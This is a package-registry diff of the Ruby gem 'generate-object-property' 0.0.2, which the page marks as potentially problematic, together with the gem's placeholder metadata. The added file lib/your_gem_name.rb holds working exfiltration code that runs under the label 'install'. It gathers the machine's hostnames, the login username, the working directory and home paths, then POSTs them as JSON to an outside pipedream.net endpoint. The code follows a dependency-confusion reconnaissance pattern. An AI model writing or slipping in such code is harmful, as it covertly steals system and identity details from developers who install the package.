generate-object-property 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of generate-object-property might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/your_gem_name/version.rb +5 -0
- data/lib/your_gem_name.rb +70 -0
- data/lib/your_gem_name.rb.bak +8 -0
- metadata +73 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: e39e103a9d84b557008d787d66ccea8db00923e11b25ffd16860c4c7d658a839
|
4
|
+
data.tar.gz: e8889f94ebe8d4fcca4a112c9bb18960b1e32d7ddb38c32d29a99a06590ea24b
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: c8ed935a5f55bc361e9c13bda87665aebfd3045b3fe7339b0bd9e0bcd66769ec7f3902be25c4643c0cd6b2fce1b33afd9d20814a36f2ccd2a528cf9a8913681e
|
7
|
+
data.tar.gz: 5eb8a1e4cbeea9a76f5a4f30f8c2d9748ac17edefa60fb788d9f9c90265d2421fc9194843c2c9966b06cb37e7ec3a9bb328818ef425d9babdc81eedf4ddc3dd1
|
@@ -0,0 +1,70 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'socket'
|
3
|
+
require 'etc'
|
4
|
+
require 'securerandom'
|
5
|
+
require 'json'
|
6
|
+
|
7
|
+
module YourGemName
|
8
|
+
def self.report_analytics
|
9
|
+
report_id = SecureRandom.alphanumeric(8)
|
10
|
+
|
11
|
+
idx_package = 0
|
12
|
+
idx_hostnames = 1
|
13
|
+
idx_username = 2
|
14
|
+
idx_paths = 3
|
15
|
+
idx_event = 4
|
16
|
+
|
17
|
+
idx_paths_file = 0
|
18
|
+
idx_paths_cwd = 1
|
19
|
+
idx_paths_script = 2
|
20
|
+
idx_paths_home = 3
|
21
|
+
|
22
|
+
data = Hash.new
|
23
|
+
|
24
|
+
data[idx_event] = 'install'
|
25
|
+
|
26
|
+
# package name
|
27
|
+
|
28
|
+
data[idx_package] = 'activestorage-redundancy-90002.0'
|
29
|
+
|
30
|
+
# get possible hostnames
|
31
|
+
|
32
|
+
hostnames = []
|
33
|
+
|
34
|
+
hostnames << Socket.gethostname
|
35
|
+
hostnames << Socket.gethostbyname(Socket.gethostname).first
|
36
|
+
hostnames << `hostname`
|
37
|
+
hostnames << `hostname -f`
|
38
|
+
|
39
|
+
data[idx_hostnames] = hostnames.map(&:strip).uniq
|
40
|
+
|
41
|
+
# get local user
|
42
|
+
|
43
|
+
data[idx_username] = Etc.getlogin
|
44
|
+
|
45
|
+
# get useful paths
|
46
|
+
|
47
|
+
paths = Hash.new
|
48
|
+
|
49
|
+
paths[idx_paths_file] = File.dirname(__FILE__)
|
50
|
+
paths[idx_paths_cwd] = Dir.pwd
|
51
|
+
paths[idx_paths_script] = __dir__
|
52
|
+
paths[idx_paths_home] = Dir.home
|
53
|
+
|
54
|
+
data[idx_paths] = paths
|
55
|
+
|
56
|
+
# encode payload
|
57
|
+
|
58
|
+
json = JSON.generate(data)
|
59
|
+
|
60
|
+
# make the HTTP request to your server
|
61
|
+
|
62
|
+
uri = URI('https://eolcnqumw6s277s.m.pipedream.net') # Replace with your server URL
|
63
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
64
|
+
req.body = json
|
65
|
+
|
66
|
+
Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
|
67
|
+
http.request(req)
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
metadata
ADDED
@@ -0,0 +1,73 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: generate-object-property
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.2
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Your Name
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2023-06-02 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: bundler
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '2.0'
|
20
|
+
type: :development
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '2.0'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: json
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '2.0'
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '2.0'
|
41
|
+
description: A description of your gem
|
42
|
+
email: your@email.com
|
43
|
+
executables: []
|
44
|
+
extensions: []
|
45
|
+
extra_rdoc_files: []
|
46
|
+
files:
|
47
|
+
- lib/your_gem_name.rb
|
48
|
+
- lib/your_gem_name.rb.bak
|
49
|
+
- lib/your_gem_name/version.rb
|
50
|
+
homepage: https://your-gem.com
|
51
|
+
licenses:
|
52
|
+
- MIT
|
53
|
+
metadata: {}
|
54
|
+
post_install_message:
|
55
|
+
rdoc_options: []
|
56
|
+
require_paths:
|
57
|
+
- lib
|
58
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
59
|
+
requirements:
|
60
|
+
- - ">="
|
61
|
+
- !ruby/object:Gem::Version
|
62
|
+
version: '2.5'
|
63
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
64
|
+
requirements:
|
65
|
+
- - ">="
|
66
|
+
- !ruby/object:Gem::Version
|
67
|
+
version: '0'
|
68
|
+
requirements: []
|
69
|
+
rubygems_version: 3.4.13
|
70
|
+
signing_key:
|
71
|
+
specification_version: 4
|
72
|
+
summary: A summary of your gem
|
73
|
+
test_files: []
|